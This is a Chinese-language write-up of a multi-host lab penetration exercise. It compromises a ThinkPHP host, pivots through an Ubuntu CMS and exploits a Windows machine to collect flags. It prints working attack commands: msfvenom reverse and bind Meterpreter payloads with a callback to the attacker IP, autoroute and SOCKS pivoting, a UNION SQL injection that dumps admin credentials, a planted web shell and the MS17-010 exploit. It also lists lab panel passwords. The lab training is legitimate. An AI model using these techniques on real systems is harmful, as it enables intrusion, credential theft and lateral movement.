环境配置

1
2
靶场下载可以看这篇文章:
https://www.cnblogs.com/b1nn/p/17802909.html
1
通过攻击机kali192.168.1.xx攻击target1 的192.168.76.148,target2和target3不能连接外网,只能再内网进行通信。所以得先渗透target1,然后通过他的22网卡去攻击target2,然后通过target2做跳板来攻击target3

新增三张网卡 , 导入到三张虚拟机中

image-20240916142547393

target1加网卡0和1,

target2加网卡 0, 2,3 (加上网卡0是为了方便kali配置宝塔, 配置完后需要删除网卡0)

image-20240916151222429

target3加网卡3

登录到target1, 查看ip, 确保Target1一个在192.168.1.0网段、另一个在192.168.22.0网段
image-20240916144041629

确保Target2在192.168.1.0、192.168.22.0、192.168.33.0网段

image-20240916151537602

确保Target3在192.168.33.0网段

image-20240916145645272

确保kali在192.168.1.0网段

image-20240916145755688

登录到target1的宝塔

1
2
3
4
http://192.168.1.128:8888/a768f109/
192.168.1.128-->自己靶机的ip
账号:eaj3yhsl
密码:41bb8fee

image-20240916150827469

登录到target2的宝塔

1
2
3
4
地址:http://你的IP:8888/2cc52ec0/
http://192.168.1.131:8888/2cc52ec0/
账号:xdynr37d
密码:123qwe..

根据你Target2的22网段IP修改

image-20240916152041462

设置完成后, 删除target2的网卡0, 没有了192.168.1.0网段

image-20240916152301722

环境配置就结束了

1
2
3
4
攻击机kali: 192.168.1.130
Targ1 CentOS: 192.168.1.128 192.168.22.128
Targ2 Ubuntu: 192.168.22.129 192.168.33.128
Targ3 Windows: 192.168.33.33

target1

kali里面namp扫描一下, 信息搜集

1
nmap -sS -v -A 192.168.1.128

image-20240916153225528

访问80端口 , tp5的框架

image-20240916153312626

使用工具扫描一下, 存在一些rce漏洞

image-20240916153518476

可以成功利用

image-20240916153818304

getshell一下, 然后蚁剑连接

image-20240916153956724

image-20240916154003732

robots.txt和flag文件里面存在flag, 根目录下也存在一个flag.txt

当前用户权限低, 需要提权,

接下来就反弹shell, 在msf生成一个linux马

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -f elf>1.elf

生成完马先让msf监听本地的端口

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.129
set LPORT 4444
exploit

将生成的1.elf文件上传到蚁剑的 /tmp目录下

image-20240916160318208

1
2
chmod +x 1.elf  #添加权限		
./1.elf #然后执行

成功接受到会话

image-20240916160940802

进行信息搜集
获取网络接口

1
run get_local_subnets

image-20240916161145599

可以发现一个22网段, 我们现在是在1网段, 想要访问到22网段

msf和cs都有代理集成功能,利用到这些功能设置.
添加路由

1
run autoroute -s 192.168.22.0/24

查看路由表

1
run autoroute -p

image-20240916161558437

1
2
3
现在的会话是session1,是建立在Target1的shell上的,建立路由后可以和22网段进行通信。那么我们想要通过session1用工具去攻击22网段,这个时候该怎么办呢?

为了解决这种情况,我们可以在本地(msf上有模块可以开代理)开一个代理,通过这个代理给其他人一个端口去连接,然后我们就可以用自己的本机(自己的电脑,不是攻击机kali)去连接kali的端口,这样就能访问192.168.22.129了
1
2
3
4
5
background   -->  如果想在MSF终端中执行其他任务,可以使用background命令将meterpreter终端隐藏在后台
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
exploit

image-20240916163106564

在linux系统下,可以利用本地的代理接口进行访问

1
vim /etc/proxychains4.conf

image-20240916165014596

然后用代理文件进行扫描 22网段

1
proxychains4 nmap 192.168.22.0/24

image-20240916170110745

128是target1的, 那么128就是target2的
扫描一下129的端口

1
proxychains4 nmap -Pn -sT 192.168.22.129

image-20240916170317310

target2

扫描到了80端口, 想要在浏览器中访问还需要设置一下

image-20240916171251586

然后就可以访问了

image-20240916171333933

扫描一下目录

1
proxychains4 dirsearch -u http://192.168.22.129/

image-20240916171838815

看到robots.txt

image-20240916171928717

访问是一个后台的登录框, 存在有验证码, 不好爆破

image-20240916172155160

看到首页的源代码, 存在提示, 可以sql注入,

image-20240916172126831

sqlmap跑一下

1
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -dbs

非常不稳定, 跑不出来

手工注入

1
http://192.168.22.128/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 --+
1
http://192.168.22.129/index.php?r=vul&keyword=1%27%20union%20select%20group_concat(username),group_concat(password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39%20from%20bage_admin%23

得到用户名, 密码

image-20240916174443362

1
2
amdin
46f94c8de14fb36680850768ff1b7f2a ---> 123qwe

md5解密一下 , 登录到后台, 可以找到一个flag

image-20240916174858409

然后需要拿shell, 在模板里面可以写入, 在index.php里面写入一句话木马, 然后蚁剑连

image-20240916180444023

使用到sockscap这个工具, 代理
image-20240916180340700

image-20240916180349133

然后蚁剑就可以成功连接到了

1
继续传马在msf拿shell,不过目标是在192.168.22.0网段,主动连我们肯定是连不上的,所以这里需要正向连,msf去连它

生成正向后门

1
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 3.elf

msf正向连接

1
2
3
4
5
6
background
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.129
set LPORT 3333
exploit

将生成的3.elf上传到蚁剑的/tmp目录下

image-20240916180813069

然后执行

1
2
chmod +x 3.elf
./3.elf

接受到了对话

image-20240916181803942

继续之前的步骤

1
2
3
获取网络接口:run get_local_subnets
添加路由地址:run autoroute -s 192.168.33.0/24
查看路由地址:run autoroute -p

image-20240916182309688

target3

扫描33网段

1
proxychains4 nmap -Pn -sT 192.168.33.33

image-20240916182734373

开放了445和3389端口的windows系统
使用永恒之蓝试试

msf打永恒之蓝

1
2
3
4
5
6
background  
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
options
run

连接之后进入shell, 是乱码的, 需要chcp 65001修改一下编码

1
2
shell
chcp 65001
1
2
3
4
5
6
7
8
9
cd /
dir /S *flag* /B
type C:\Users\Administrator\Desktop\flag.txt

dir: 显示一个目录中的文件和子目录。
/S: 显示指定目录下的所有子目录和文件。如果省略这个参数,dir 命令只会显示当前目录的内容。
*flag*: 这是一个文件名的通配符搜索模式,意味着 dir 命令会搜索并列出所有包含“flag”字样的文件和目录。
/B: 使用裸格式(即,不包含额外信息,只列出文件和目录的名称)。
type: 用于显示文本文件的内容

image-20240916190117333

就到这里结束了

参考文章

1
https://blog.csdn.net/qq_61237064/article/details/125602997